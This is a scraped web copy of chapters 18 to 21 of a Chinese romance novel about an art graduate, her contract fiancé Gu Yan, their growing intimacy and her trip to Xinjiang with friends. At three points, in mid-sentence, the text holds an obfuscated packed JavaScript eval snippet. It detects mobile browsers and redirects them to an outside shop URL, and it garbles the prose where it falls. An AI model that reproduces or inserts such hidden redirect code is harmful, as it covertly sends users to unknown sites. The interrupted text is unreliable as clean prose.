“我什么?”姚柔伊在脑海中思考,要不要将前任的事如实相告,可是他们在之前谈合作的时候也没有说过要如实交代过往呀,所以也不主动暴露隐私。 顾阎也觉得没啥意思,他不屑于追问女人的过往情史,他通常很自信,他一定会是给对方留下最深刻印象的一任。一直翻旧账的人,反倒是个被人牵着鼻子走的人。 他摇头,转移话题:“你什么计划,时间够的话等会送你一程。” “不用。”姚柔伊礼貌拒绝,她和他还是有一层隔膜在,很生分,从未心安理得拿他当未婚夫对待。 顾阎也不再坚持。 18. 第 18 章 放弃与姚柔伊沟通后,顾阎起身,去浴室换上泳裤,围着浴巾走向泳池。 他扔掉浴巾,像一条流线型的鱼,跃入水中。 顾阎有个多年来保持的习惯,他喜欢在早上起床后运动一会,这能让他快速激活一天的精气神,提高工作效率。 姚柔伊在房间内坐着实在无聊,便起身走向阳台,坐在躺椅上,吹着风,乘着日光,悠哉地看顾阎游泳。 该说不说,他的自由泳泳姿很标准舒展,看起来和专业运动员如出一辙,赏心悦目。 他并没有用全力,泛起的水花温和,游动速度不快不慢,看起来游刃有余。 姚柔伊在躺椅上,右手支着头,欣赏身材矫健的美男在水中涌动,大脑完全放空,不需要思考任何事情,真是一件很解压的事情。 看着看着,姚柔伊睡着了。 她是被水滴的凉意惊醒的,甫一睁开眼睛,裸男的□□便映入眼帘,腹肌上挂着细密的水珠,随呼吸节奏起伏,肌肉形状逐渐鲜明,极具视觉冲击力。 顾阎上岸后,瞥见姚柔伊在躺椅上睡觉,不由得蹙眉。本想不理会直接路过,但经过她身旁时还是没忍住甩了一下手,水珠飞溅至她的脸上。 “游完了?”姚柔伊话语中带着刚睡醒的含糊不清。 顾阎:“好看吗?”看我都能睡着,可真有你的。 姚柔伊点头,“当然,你游泳很好看,动作很标准,可以当绘画参考。” “哦?你会画我?” 姚柔伊哑然,心道我不过随口奉承一句,你不会当真了吧,我只接稿子,才不免费画画呢。但面上还是胡诌:“嗯,当然了,画画很多时候也是从生活中取材嘛,你外形条件这么赞,很适合当模特啦。” 顾阎嘴角抽搐一下,似乎很满意这个说法。 姚柔伊又问:“你很喜欢游泳吗?” “还行。”顾阎随口答,“有泳池基本上就游一下。” “哦哦,真好,我还不会,小时候学游泳的时候呛过水,然后死活都不去学了。” 顾阎想了想说:“水里很解压,是另一个世界,某些时候游泳是短暂逃离现实的一种途径。” 这话让姚柔伊心头一动,当她创作不顺时,负面情绪会很大,非常想有一件事带她暂时忘记一切,她通常会选择喝酒和睡觉,但听顾阎这么表述游泳,她忽然产生一种想重新学习游泳的冲动。 “唔,你也有想逃离现实的想法吗?我以为像你这种成功人士,应该非常热爱生活的,毕竟你都是上帝的宠儿了,颜值,身材,健康,财富,应有尽有,还有什么不满意呢?” 顾阎回想起青春期那段极度苦闷的时光,自己作为一个含着金汤匙出生的公子哥,为现实苦恼的根源,竟然是父母决裂,家庭破碎,彻底失去双亲的爱,如果说出去,恐怕也有很多人不理解。 “如果我说是爱呢?” “爱?”这个答案让姚柔伊很受震动,她试探性问:“你……失恋了?” 下一秒,她看见顾阎无语至极的眼神。 似乎还朝她翻了个白眼。 这这这,你们绅士能做出这种举止吗,就算她的问题很冒昧。 但不知为何,得到顾阎这个否认,她竟然有种轻松的感受。 好像,在她内心深处,那个隐秘位置,本能地不希望他受过情伤,不希望他心里住着一个忘不掉的白月光。 这到底是为什么,她既觉得自己和顾阎关系生分不自然,只是普通合作关系,可又不希望这个名义上的未婚夫心里有人,会让她心里隐约的不舒坦。 这是独占欲吗?她为什么会产生这种比较诡异的感受? “OKOK,没失恋,没失恋。”姚柔伊忙改口。 “会不会很怪?”顾阎突如其来地问道。 姚柔伊如实作答:“如果让一个穷人来回答,他肯定觉得你这样的想法很矫情,毕竟对于很多为了生活奔波,当牛做马只为填饱肚子的人来说,让他们实现财富自由,他们可以不需要任何的爱。” 顾阎没否认,淡淡一笑:“或许吧。” 姚柔伊话锋一转:“不过,不论是贫穷还是富有,每个人都有情感需要,为爱痛苦并不是什么可耻的事情,哪怕是你这种成功人士。” 顾阎笑了下,他平时很少会和别人谈到这些,毕竟他是个成熟男性,所受的教育,社会的规训,自身的性格,种种都不允许自己对别人诉说苦痛,这天然是一件令他羞耻的事情。 但在姚柔伊面前,他似乎还想多说几句。 “以前我确实会因为他们离婚苦恼,但现在都过来了,没有他们的爱也没什么特别的。” 原来他是因为家庭,姚柔伊得到答案,心情愉悦,话语也轻松起来,劝慰他:“其实我父母在我很小时候也离婚了,我可以理解你的,我那个时候也特别难过,每天都在求我爸去把我妈追回来,但慢慢长大后,为现实烦恼得多了,为爱烦恼得就少了。” 这个说法倒是新鲜,为现实烦恼得多,为爱烦恼得少。 或许在成长途中,有太多需要考虑的事情,有太多现实的挫折要面对,久而久之,对爱的感受力逐年下降,甚至已经忘记,曾经那个单纯为了追求爱而痛苦落泪的自己。 顾阎抬手,揉了一下姚柔伊的头发。 像是在无声安慰她,或是透过她,安慰那个年幼的自己。 头顶手掌的热度和重量转瞬而逝,姚柔伊心沉甸甸的,有这么一瞬,她觉得自己和顾阎的心贴近了,像跨过时空隔阂的两头幼兽,依偎着舔舐伤口。 淡淡的伤感情绪很快被门铃声冲散。 助理程谭带着衣服过来了。不仅带来姚柔伊的衣服,也给顾阎带了一套新西装。 程谭进门后,看见姚柔伊,虽好奇但面上无半分显露,目光也无半点打探的意思,他身为顾阎的助理,自然是知道老板即将结婚的事,只是之前从没见过这个未婚妻,故而难免好奇,在接到顾阎让他准备衣服后,他也是第一时间想到是传说中的未婚妻。 毕竟自打顾阎回国进入公司,程谭跟在他身边三年,没有在他身边见过任何女伴,更遑论需要替老板准备女性衣物。 这次乍然接到任务,他还极不适应,也是求助了总裁办另外一个女助理,才完美解决。 他联系的是某个和顾家合作颇深的奢侈品牌,提供老板发来的尺寸,对面提供一套当季最新的女成装交差。 至于款式,也是女助理替他选的,他自认审美过于直男,有点搞不懂年轻女生的喜好,怕自己挑了一套让老板未婚妻不满意的,最后让老板为难,自己也平白惹上麻烦。 顾阎转身去浴室冲澡,姚柔伊接过衣服,去衣帽间更换。 她平时穿的大多淘宝货,但因为身材好气质佳,总能把衣服穿出很贵的感觉,而这次穿上真正名贵的服装,并没有让她多惶恐不安,只感叹于不愧是奢侈品,剪裁面料到底高级。虽说人靠衣装,但对于顶级的美人而言,衣服的影响已经没有那么不容忽视了。 顾阎冲完澡,提着毛巾边擦头边走出浴室。看见姚柔伊穿戴整齐,这套衣服很衬她,优雅中带着一丝俏皮,不沉闷也不跳脱,很适合她这个年龄段。 姚柔伊嘴甜道谢:“谢谢你送我的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667730|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我很喜欢。” 顾阎笑了下,点点头。 “那我先回去了,昨天谢谢你来接我,不然真不知道会发生什么。”她道别。 顾阎继续点头,毛巾搭在脖子上,发梢的水珠汇集坠落,淹没在清晰凸显的锁骨处。 程谭很有眼色,不等顾阎吩咐马上开口:“姚小姐,我帮您叫车。” “那就麻烦你了。”姚柔伊递过去一个完美和善的微笑。 在程谭离开联系车之后,姚柔伊看向顾阎,他还是不紧不慢地擦头发,上身不着寸缕,下身围着浴巾。 或许是历经了昨晚,他们的拘谨程度有所缓解,至少姚柔伊可以心平气和地看刚洗完澡、还未穿戴整齐的顾阎。 不似第一次去他家时,光是看见穿浴袍的顾阎,她就局促不安,眼睛不知道该往哪放。 该怎么形容这种感觉呢,身体比意识更先熟悉对方。 顾阎去更衣室,换上了助理带来的西装。 他的发梢虽不滴水,但还是潮湿的,短发一缕缕的,脑后稍短的发丝呲立起来,稍长的额上发丝半垂落,微遮住眼睛,水汽让黑发更为墨亮,隐藏在湿发后的瞳仁则更为幽深。 与他对视时总忍不住被吸引,而后在目光的对峙中败下阵来。 “我走了,以后常联系。”姚柔伊移开目光。 “听起来好生分。”顾阎沉吟,又道:“跟普通朋友似的。” 姚柔伊:“我们现在的关系,嗯……” 顾阎注视着她,等着后半段的回答。 姚柔伊偏把难以回答的难题抛回去,重新望向他的眼睛,发问:“你觉得呢?” 真狡猾,像只小狐狸。顾阎的兴致被她提起,微张开手臂,笑着说:“至少应该是离开时拥抱一下的关系。” 姚柔伊心头一动,他可真是的,不给个准确回答,反倒是态度暧昧。 而自己,好像还挺吃这套的,至少当前的这一刻的心脏跃动是真实的。 姚柔伊上前,抱住他。 他身上是沐浴后清新的味道,像雨后的清晨的草地,每吸一口气都是大自然的气息充盈在肺腑间。 本以为只是一个简单的礼节性质拥抱,但在姚柔伊松开手臂后退一步时,顾阎的手臂骤然收紧,她踉跄着跌回他的怀抱。 心脏陡然加速。 大脑一片空白,身体也忘记挣扎,或许她的身躯完全不排斥与顾阎的亲近,所以哪怕这种意外的、难以预料的、堪称冒犯的举止,也不会让她有丝毫的不适,更多的身体感受是生理性悸动和紧张。 他到底要抱多久?姚柔伊感觉自己紧张得快要发汗。 “你好僵硬。”顾阎贴在姚柔伊的耳边,呼吸间的热气在耳畔升腾,耳廓骤然发痒,那丝密交缠的痒意顺着耳尖窜升至后脑,他的话正经中透着调笑:“我觉得我们的关系起码是拥抱时不会抗拒的关系吧?” “我没有抗拒。”姚柔伊此刻有点招架不住,她是有过几段恋爱经历,可是顾阎这种特别会撩的成熟男性倒是没有经历过,颇有种第一次与异性近距离接触的慌乱笨拙感,但还是尽量为自己辩解:“我没有不喜欢你抱我,就是……就是太紧张了吧。” “多抱抱就不紧张了。”耳边传来顾阎的轻笑声。 明明自己说着要走要走,可听到这话,又完全舍不得推开他。 就这么放纵自己沉浸其中。 直到,一段不合时宜的声音响起—— “姚小姐,车已经为您……” 下一秒,半只脚踏入房间的助理目睹这旖旎的拥抱,赶紧闭口不言,掩门而出。 19. 第 19 章 告别校园,最令人期待的就是毕业旅行。 姚柔伊大学期间接稿不断,也算积攒颇深,对付旅游花费完全不用任何担心。 只是目的地去哪还在考虑中。 最终鉴于各种考量,他们放弃了出国,在川西和新疆两个选项中做最后的决定。 齐莎莎之前去过西藏,在那边出现了很严重的高反,对此心有余悸,故而特别反对去川西,据她做攻略得知,去川西免不了也要自备氧气瓶。 最终大家一致决定去新疆。 新疆是个疆域辽阔、风景壮美的地方,姚柔伊刷到过很多关于新疆的景色宣传视频,此次旅途她特意带上画板,计划着一边游玩、一边写生。 这次除了蒋洲和乔莎莎,她还邀请庞天娇加入。 庞天骄就是那个腼腆害羞,却勇敢站出来为她提供线索的女孩。 在画作拍卖一事结束后,姚柔伊就兑现当初的许诺,热情邀请她吃饭,原本她不愿意来,只说自己并没有帮上什么忙,不值得姚柔伊大费周章请她吃饭。 姚柔伊没有放弃,还是坚持请她吃饭,只不过为了便于她接受,把餐厅价位从人均八百,调整成了人均两三百,她不想自己的善意邀请带给对方太多压力。 庞天娇在姚柔伊第二次发出邀请之时,便答应下来,在她内心深处,不想错失和姚柔伊相处的机会。 吃饭时,庞天娇一再表达了自己的歉意,那神情态度好像画被人蓄意破坏是她的责任一样。 姚柔伊很少和这种讨好型人格的人相处,她观察出庞天娇有些过于自卑敏感,这种性格在人与人的日常交际上,格外吃亏,故而有意想带着她,让她能变得更自信点。 “你可是叫天骄啊,天之骄子才对,不要这么妄自菲薄。” 庞天娇垂下头,久久沉默,她的肩膀细细颤抖,哽咽:“可是我觉得自己很没用很差劲,没有朋友,没有特长,没有让人喜欢的地方。” 姚柔伊忙说:“怎么会呢,你可是我同学,我们同在一所学校,如果你很差劲,那我岂不是也很差劲。再说你怎么会没有特长呢,至少你会画画呀。” “可我画的东西根本不够好,没有办法变现,网上有太多太多的大神画的比我好了。” “那你也比普通人画的好。” 庞天骄固执己见:“我是绘画专业,只比普通人画的好,就是很失败。” 姚柔伊郑重其事地说:“不是的,除了和普通人比,你也比这个专业很多人画的好,同样是艺术生,你绝对超过95%的画画艺术生了。” “可是我一点点都不自信,我的画发在微博、老福特上,根本没有几个人点赞。” “不要被数据影响啊,经营互联网是有门路的,不止是单纯发画就够了,还需要蹭热点,蹭热圈什么的,然后还有运气的影响,总之没人点赞真的不代表你画画不好,我记得你这次毕设打分并不低,你一定要自信。” “谢谢你,可是我真的很难自信,经常内耗,很多时间都浪费在情绪上了。”庞天骄仍旧很低落,她常常自省,却控制不住自我厌弃。 姚柔伊思索片刻,小心提问:“你……我接下来问的话可能比较冒昧,你是不是没有朋友呀?” 庞天娇头颅更低几分,她点点头,泪流得凶。因为过度减肥,她的肩膀瘦瘦窄窄,头发也透着不健康的稻草黄,垂头丧气的模样使她像个蔫巴的豆芽菜。 姚柔伊抽了张纸巾递过去,“我觉得你缺少朋友,其实你并不是一个主动选择内向的人,换句话说,你是希望自己外向的人,只是很难改变现状,你需要别人的认可,需要别人的陪伴,需要一个真心朋友。说不定她能带你走出这种自我否定、痛苦内耗的情绪。” 姚柔伊的话精准戳中了庞天娇的心扉:“我根本交不到朋友,没有人真心喜欢我。” 姚柔伊引导她换个想法:“既然你觉得没人真心喜欢你,那你总有喜欢的人吧。” 庞天娇点头。 得到这个回答,姚柔伊终于松了口气,“那你就去和你喜欢的人交朋友啊,你喜欢谁,就去和她一起玩,主动去找她聊天说话,约出来一起玩,反正也是你喜欢的人,就算被拒绝,也不会比被陌生人拒绝还难受吧,毕竟是自己想做的事呀。” 庞天娇胆怯地看了姚柔伊一眼:“我喜欢的那个人有很多朋友,我不知道她愿不愿意和我再交朋友。” “不用考虑那么多啊,谁会嫌弃朋友多呢,除非说你是那种占有欲很强,要求别人只能有你一个朋友,不然绝大部分人是不太会拒绝另外一个人的求友。” 姚柔伊想了想又问:“是我认识的人吗,还是你以前的同学?” 庞天娇抬起头,面色泛红,且有逐渐加深的趋势,她一副支支吾吾,想说又不敢说的样子。 姚柔伊心里咯噔,小心翼翼地问:“该不会是我吧?” 庞天娇点点头,又快速低下头,好似不敢面对姚柔伊的表情和回话。 姚柔伊伸手把她的脸抬起来,“自信点啊,我可以和你当朋友,我其实挺好说话的。” 庞天娇喜极而泣,哭得趴下去,肩膀一颤一颤。 明明很简单的一个情感表达,于她而言,花掉了半辈子的勇气。 姚柔伊很唏嘘,她根本不知道,在不知道角落里,竟然有个她不怎么熟悉的女孩对她产生这么浓烈的情感。 或许有人会觉得被需要是一种压力,但对姚柔伊而言,被需要是一件很幸福的事。 她主动引导话题,陪庞天娇聊了很多很多。 庞天娇一旦打开了话匣子,就如滔滔江水,源源不断地向姚柔伊倾诉,她说了很多很多,多到将她贫瘠的前半生一一道尽。一顿饭吃了快三小时才告别。 这次毕业旅行,姚柔伊问庞天娇的旅行计划,得知她并没有任何计划时,提出邀约,一起去新疆玩。 在和姚柔伊成为朋友后,庞天娇尽量改变自己遇到事情就想退缩,不敢尝试的心态,惶恐但坚定地接受了。 尽管她当前家里面的事情一团糟,但本能告诉她,自己想和姚柔伊一起去旅行,暂时忘却现实的难处。 在去之前,庞天娇带上许久不用的相机,她自己虽然表达能力弱,很难和别人谈笑风生,提供情绪价值,但自己曾经在学校宣传部干过苦力,摄影拍照技术还算拿的出手,可以帮大家拍照,也算提供自己的个人价值。 四人小分队的新疆之旅正式启程。 在启程前夜,姚柔伊向老姚报备了一声,老姚问他跟你去吗? 姚柔伊翻了个白眼,吐槽:“毕业旅行,他又不是我同学,他去干什么。” 老姚一脸‘你怎么连这都不懂’的表情:“旅行也是增进感情的一种方式嘛,要不然人家新婚夫妻怎么会去度蜜月的呢。” 姚柔伊纠正老姚的错误,强调:“我们还不是夫妻。” “你们真的有好好相处吗?” “有啊。” “我的意思不是像朋友那样相处,是情侣那样。” “有啊。”姚柔伊继续大言不惭,要不然老姚肯定忍不住继续教育她几句。 “那他知道你要去新疆吗?”老姚将信将疑。 “知道。”姚柔伊睁眼说瞎话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678680|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在和老姚通话结束后,姚柔伊开始考虑要不要通知顾阎自己去新疆旅行,她会觉得像是在报备行程。可转念一想,他们的关系其实可以相互报备一下,没必要顾虑太多。 毕竟他们是,可以拥抱的朋友。 也不知道他现在在干嘛,自从上次分开之后,她除了到家之后报了平安,偶尔道句早安、晚安,也没有继续和他深入交流过,或许他们当前的身份,能交流的话题太少了吧。 一个刚刚毕业,还没开启人生下一段生活,一个工作繁忙、事业有成,除非有什么线下交集,不然光在网上聊天,很难聊出个火花。 尤其顾阎还是一个神秘又矛盾的人。 神秘的是她对他的过往,当下,乃至未来规划基本上一无所知。 矛盾的是她的直觉告诉她,他好像并不是他刚开始呈现出来的,那种谦和有礼的君子,好像始终和她隔着一层窗户纸,看不到他真切的面目。 很多地方,她都觉得他不会这么做,可他还是做了,并且你也不能说他做的很有问题。 总之,她认为顾阎这个人并没有和她交心。 当然,她也不好埋怨对方,因为自己也并不真诚,没有在他面前做真实的自己。 她原本以为,自己和顾阎只谈钱不谈情,只需要拿着巨款和他“假结婚”,才不会在意双方是否虚情假意,可几次接触下来,自己并没有那么排斥顾阎,甚至,对他的外在,偶尔的撩拨,还挺有好感的。 这个发现让她极为不爽,在交易中一旦走心,必然落了下乘,她这辈子不想为了任何男人伤神劳心。 他并没有提供给她足够的安全感,所以她不敢轻易走近他,她要保持自己的行事准则,你不向我臣服,我也不会为你低头。 这是之前几段失败情感经历带给她的教训。 既然自己对他还挺有兴趣的,不妨换个思路,撩而不追,就像他对她的那样,做些暧昧举动让她浮想联翩,却不给出明确的保证。 姚柔伊想通之后,顿觉浑身舒坦。 撩人这种事,又简单又刺激,还不用自己内耗,何乐而不为,尤其撩的那个人还是自己感兴趣的。 她把收拾一半的行李箱,拍照发给他,特意露出内衣的一根肩带。 姚柔伊:【明天我要去毕业旅行了】 顾阎:【好,一路顺风】 紧接着又转来了五万块钱,备注旅游经费赞助。 姚柔伊高高兴兴收了钱,又回:【谢谢你的经费支持{爱你},你都不好奇我去哪玩吗,我去新疆,老姚还特别担心我在新疆会不会不安全。】 顾阎:【挺安全的,之前去过】 姚柔伊:【哇,你去过,有什么推荐吗?】 顾阎:【出差去的,没时间仔细玩,就看了一会草原。】 姚柔伊:【好惨哦,等我多拍点照片给你看。】 顾阎没回复。 姚柔伊又发了一条:【我要去半个月,好久不见,记得要想我喔~】 还是没回复。 怎么搞得,不适应她突然这么活泼吗?姚柔伊正要撇开手机,继续收拾的时候,顾阎总算回复。 【那你呢?】 姚柔伊装不懂,发了个歪头疑惑的表情。 顾阎:【你会想我吗?】 姚柔伊:【你要是想我,我就能感知到,自然也会想你啦。】 顾阎:【好】 姚柔伊的心脏轻飘飘的像氢气球,快要飞到云层中,撩拨顾阎让她心情愉悦,管他对自己什么想法,一切的亲密关系的建立都得自己怎么舒服怎么来。 20. 第 20 章 在乌鲁木齐机场降落的那一刻,虽是下午九点,但新疆的天空亮如白昼,给人一种时间错位之感。 庞天娇小心地跟在她身边,并殷勤地想为她提行李。 姚柔伊谢绝她的好意,这个女生还没有摆正自己的朋友身份,还是想继续讨好身边人,以此获得别人的善意和肯定。 其实,真正的朋友不需要靠一个人单方面的讨好来维系关系,这是不健全的畸形友情,这件事她会在以后的相处中,用实际行动表达出来,让庞天骄能想明白,用一个健康平等的心态与人交往。 拿到行李后,蒋洲已经联系好租车,选的是一辆宽敞的增程式suv。 坐上车后,姚柔伊开始给顾阎发信息。 她其实也没什么话想说,就是无聊想打扰他一下,胡编了一句:【刚才在飞机上发生了好严重的颠簸,吓死了,那个时候就特别想……你能在我身边。】 这么暧昧得要死的一句话,放平时,姚柔伊绝不会发过去,但自从她想通后,特想撩拨捉摸顾阎,故而面不红、心不跳地发送出去。 发完之后,就切出微信,打开游戏,清一下日常。 搞暧昧的时候,最忌讳自己的情绪被对方左右,所有的注意力都在对方会怎么回复自己上,这样妥妥被人牵着鼻子走,一颗心七上八下的,什么事都做不了。 就应该撩完就跑,无聊了再过去看看,有没有成效。 要若即若离,像一片羽毛搔弄对方的心弦。 姚柔伊清完游戏日常,在车上补了一觉后,蒋洲已经把车开到预订的酒店。 为了照顾经济拮据的庞天娇,姚柔伊选择和她订标间,若她一个人出来旅游,她肯定就订大床房,不过好在她睡眠质量还不错,不在乎和别人拼房。 放好行李后,姚柔伊终于有空点开微信。 顾阎发来了一个未接的视频通话。 那个时候她在车上补觉,手机完全静音,没有接到。 姚柔伊从行李箱里翻出眼药水,滴了几滴,又把眼眶揉红,这才将视频拨回去。 对面接得很快。 在看见姚柔伊泫然欲泣、惊魂未定的样子,顾阎呼吸一窒,他竟有种想飞到她身边,抱抱她的冲动。 顾阎关怀道:“现在感觉怎么样?” “好多了,对不起,刚才没有接到你的视频。”姚柔伊吸了吸鼻子,继续表演楚楚可怜。 “我也很想在你身边。”顾阎叹了口气,这声叹息包含着轻淡的懊恼。 姚柔伊面上感动,其实在憋笑,这顾阎也太好撩了,说句想他能在自己身边,他就这么当真了。 姚柔伊马上察觉到自己这样的想法实在不好,玩弄真心的人是个混蛋,她有些心虚。 转念一想,如果真发生了重大颠簸,自己未必不是那种想法啊,她不过是假设推演了一番。 姚柔伊:“如果有下次的话,我们两个人一起去玩。” “好。”顾阎简单答应下来,对面传来开门声,还有助理通知他开会的声音。 姚柔伊忙道:“你先忙吧,不打扰你了,我先去玩。” 挂断视频通话后,姚柔伊悠悠呼出一口气,这顾阎似乎比她预想中的更有情义些,对她并不是单纯的合作关系,他会关心她,不止是出于责任感。 或许他对她也是有好感的,只是他没有明确表达。 遇到难以决断的事情,最好的解决方法就是把事情放一放,让自己的思绪冷静冷静,切忌不要在一团乱麻的时候做选择。 晚上,四人去了当地人很推荐的一条美食街。 旅游嘛,除了遇上形形色色的人,剩下的最让人期待的就是美食和美景。 走在这条美食街上,街边是琳琅满目的店铺,令人目不暇接,饭菜飘香,饥肠辘辘,四人不再举棋不定,快速选定一家店。 这家店门口放着一口大锅,锅里是黄澄澄、油亮亮的羊肉抓饭,从店门口经过,那香味直钻鼻孔,勾得人食指大动,不肯移步。 齐莎莎当即拍板一定要吃这家,蒋洲和姚柔伊对于吃这块没有特别大的要求,而庞天娇就更是好说话,问就是随便,她都可以。 落座之后,姚柔伊还是没忍住,起身出门,走向在稍远的地方的馕店,这还是头一次见到这么大的饼,着实新鲜,就算吃不下也要买回去打个卡。 卖馕的老板,是个高鼻深目的少数民族长相,他操着口音极重的普通话和姚柔伊交谈,好在姚柔伊理解能力还算不错,能勉强听懂老板的话,顺利买了两张。 姚柔伊带着馕,还有一扎格瓦斯回到店里。 几人点了很多种菜品,什么抓饭,捞面,架子肉,烤包子,酸奶冰沙等等。 姚柔伊带来的馕,在吃之前,大家轮流拍了个照,这种东西,对于本地人而言是日常主食,对于游客而言,更像是拍照道具。 庞天娇从包里拿出相机,很小声地提出帮他们拍照。 敏感的人最害怕别人的拒绝。 在蒋洲开口之前,姚柔伊瞪了他一眼,抢先道:“好啊,我最喜欢别人给我拍照了。” 庞天娇脸上立即浮现出受宠若惊的笑,她调好参数,认真找角度,帮姚柔伊拍了一张举着馕的照片。 姚柔伊长得美,随便拍都好看,所以对这张照片的具体效果并没有抱多大希望,但还是很憧憬地把头凑过去看预览:“给我看看,拍的怎么样。” 庞天娇把相机朝姚柔伊面前移了点。 姚柔伊定睛一看,当即惊呼出声,“天啊,这么好看,快发给我。” 相片中的构图、光线、角度、以及抓拍的神情都堪称恰到好处,怎么看怎么舒服自然,一种看似毫不费力但特别考验摄影师功底的美。 见姚柔伊这么惊喜,蒋洲和乔莎莎都伸头要看。 庞天娇又羞又喜地将相机递过去,否认自己的功劳:“是模特好看的缘故。” 蒋洲和乔莎莎看后,一致觉得这张图片特别成功,发小红书上能有万赞,庞天娇高兴得嘴角一直翘起,原来朋友的情绪价值是一件能让人飘飘欲仙的东西。 “快快快,给我也拍一张。”蒋洲一改方才的想法,马上自来熟的要庞天娇帮自己拍照。 庞天娇很捧场地给他们每个人都拍了好几张,拍到后来服务员都忍不住朝这桌看,这才消停下来。 “没想到,这次还有大摄影师陪我们一起出来,再也不用害怕没有美照发朋友圈了。”乔莎莎啧啧感叹,非常满意庞天娇的摄影技术,主动和她加上微信好友,让她回去把拍的照片发给她。 庞天娇此时才算彻底放松下来,原来被需要是这样美妙的事情,她很感激自己的拍照技术能被他们喜欢。 虽然庞天骄的拍照水平并不足以成为网红摄影师,但已经比这三个人好太多了,他们这几个人之前出去玩,因为觉得对方净给自己拍丑照,险些吵起来。 这家店口味很不错,价格也实惠,初次用餐很愉快。 姚柔伊格外喜欢那道酸奶刨冰,是纯正的不加任何调味剂的酸奶,配上一大勺天然蜂蜜,酸奶和蜂蜜之下是细碎的冰沙,原生态的酸和甜中合的特别和谐,冰冰凉凉的,好吃又解腻。 吃完饭后,已经11点多,此时天才算刚黑透,街道上到处是人,热闹非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691150|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡。 回到酒店,庞天娇将照片传给姚柔伊,姚柔伊将那张自己举着馕,笑意盈盈的照片发给顾阎。 顾阎回复:【好看】 姚柔伊:【也很好吃。】 顾阎:【是吗,可惜吃不到。】 姚柔伊沉吟片刻:【我明天给你寄点,我问过老板了,说可以邮寄。】 正在办公室加班的顾阎,扫了眼回复,停下手中的笔。 自问随着年龄的增长,什么山珍海味没尝过,单纯的口腹之欲逐年减弱,自己也没有多想吃一张馕,只不过随口一说,没想到这个女孩竟然当真,还要不远万里寄给他品尝。 他很久没有这种感受,很简单的快乐和满足。 顾阎:【好】 姚柔伊:【好嘞,你给我一个地址,我买馕的时候就挺想寄给你尝尝的,但是怕你嫌弃,就没给你买,不然我也不会去问老板能不能邮寄了。】 被人惦记的感受,真是……说不上来的美妙,顾阎看着屏幕不自觉扬起了唇角,他把地址发过去,电脑一关,收工回家。 * 在新疆的这些天,时间的流速仿佛与别处不同,有时慢的惊人,一整天慢悠悠晃荡下来,天际还白得狠,有时又快的惊人,大半的时间都花在路上,到了下个景点时,一天已溜走大半。 一望无际的草原,看着美,但走在上面时,需格外小心,防止踩到羊屎牛粪,更甭说在上面畅快奔跑,亦或是躺在草地上打滚了。 这倒是令姚柔伊有些失望的地方。 好在骑马又能冲散这一点。 第一次骑马时,是去仙女湖,只能骑马上山,他们没有选择马队的马,而是挑了一家养马的散户,他家的马不是一个连着一个栓起来,而是能放开,让马跑起来。 骑马比想象中的简单,也比想象中的更快意,马儿跑起来之时,姚柔伊已无瑕思考任何,她只想随马儿的颠簸,大笑,大叫,让风卷走所有的疲惫。 她一连骑了三天马,浑身散架了似的酸痛。 天空,白云,草原,湖泊,牛马羊,一切都美得像加了一层滤镜。 姚柔伊穿着一袭白色长裙,脚踩棕色长靴,戴一顶西部牛仔帽,融在这背景中,完美得像是画卷中本来就存在的。 庞天骄为她拍出了很多人生照片。 距离返程时日无多,她艰难地从一堆美图中挑选了九张,发朋友圈以作告别,这组照片质量太高,不到一小时就被赞爆。 不过,没看见顾阎的点赞,这叫姚柔伊有点不爽。 在旅途中,她有一搭没一搭地和顾阎聊天,上次聊天还是询问自己给他寄的特产收到了没。他说收到了。他还问她哪天回来。她把返程机票订单发给他,并调侃他是不是想自己了。顾阎没有否认。 姚柔伊不跟顾阎弯弯绕绕,开门见山问他:【看见我发的朋友圈了吗,不好看吗,怎么不给我点赞?】 这语气活像个热恋中抱怨男朋友点赞不及时的小女友。 姚柔伊对顾阎主打一个,就是让你想多。 发出去的微信没有收到回复。 姚柔伊关掉手机,不再等这个飘渺虚无的回复,自我安慰可能他在开会。 大概两个小时后,姚柔伊收到了顾阎的电话,心里咯噔一下,平时他很少给她打电话的。 姚柔伊接起:“喂,怎么突然给我打电话?” 顾阎:“你发朋友圈的时候我在飞机上,刚落地。” 姚柔伊心擂如鼓,故作镇定:“哦,你飞哪了?” “这也用问?”顾阎语气无奈:“乌鲁木齐机场,不来接我吗?” 21. 第 21 章 她的心在飞,比策马奔腾时飞得更高、更远。 他为什么会一声招呼都不打,跨越三千里空降而来,她实打实体会到天降之喜的浪漫含义。 